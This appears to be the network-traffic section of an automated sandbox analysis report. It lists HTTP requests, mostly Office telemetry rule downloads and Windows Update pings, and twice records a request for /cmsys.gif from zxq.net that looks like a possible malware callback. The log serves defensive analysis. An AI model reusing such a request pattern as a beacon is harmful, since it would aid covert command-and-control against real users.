Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /clientwebservice/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: fe3cr.delivery.mp.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /sls/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VatNPFTcculonAy&MD=pDKKvD8Y HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VatNPFTcculonAy&MD=pDKKvD8Y HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
